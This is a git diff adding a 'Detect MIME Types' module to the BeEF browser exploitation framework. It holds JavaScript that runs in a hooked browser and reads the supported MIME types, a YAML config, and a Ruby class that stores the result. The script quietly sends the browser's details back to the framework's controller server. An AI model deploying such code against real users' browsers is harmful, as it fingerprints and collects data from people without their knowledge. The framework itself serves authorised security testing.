diff --git a/modules/browser/detect_mime_types/command.js b/modules/browser/detect_mime_types/command.js new file mode 100644 index 000000000..a59f24d4a --- /dev/null +++ b/modules/browser/detect_mime_types/command.js @@ -0,0 +1,19 @@ +// +// Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net +// Browser Exploitation Framework (BeEF) - http://beefproject.com +// See the file 'doc/COPYING' for copying permission +// + +beef.execute(function() { + + if (navigator.mimeTypes) { + var mime_types = JSON.stringify(navigator.mimeTypes); + beef.net.send("<%= @command_url %>", <%= @command_id %>, "mime_types=" + mime_types, beef.are.status_success()); + beef.debug("[Detect MIME Types] " + mime_types); + } else { + beef.debug("[Detect MIME Types] Could not retrieve supported MIME types"); + beef.net.send("<%= @command_url %>", <%= @command_id %>, 'fail=Could not retrieve supported MIME types', beef.are.status_error()); + } + +}); + diff --git a/modules/browser/detect_mime_types/config.yaml b/modules/browser/detect_mime_types/config.yaml new file mode 100644 index 000000000..1b57ff36d --- /dev/null +++ b/modules/browser/detect_mime_types/config.yaml @@ -0,0 +1,16 @@ +# +# Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - http://beefproject.com +# See the file 'doc/COPYING' for copying permission +# +beef: + module: + detect_mime_types: + enable: true + category: "Browser" + name: "Detect MIME Types" + description: "This module retrieves the browser's supported MIME types." + authors: ["bcoles"] + target: + working: ["All"] + not_working: ["IE"] diff --git a/modules/browser/detect_mime_types/module.rb b/modules/browser/detect_mime_types/module.rb new file mode 100644 index 000000000..3df27d433 --- /dev/null +++ b/modules/browser/detect_mime_types/module.rb @@ -0,0 +1,13 @@ +# +# Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - http://beefproject.com +# See the file 'doc/COPYING' for copying permission +# + +class Detect_mime_types < BeEF::Core::Command + def post_execute + content = {} + content['mime_types'] = @datastore['mime_types'] unless @datastore['mime_types'].nil? + save content + end +end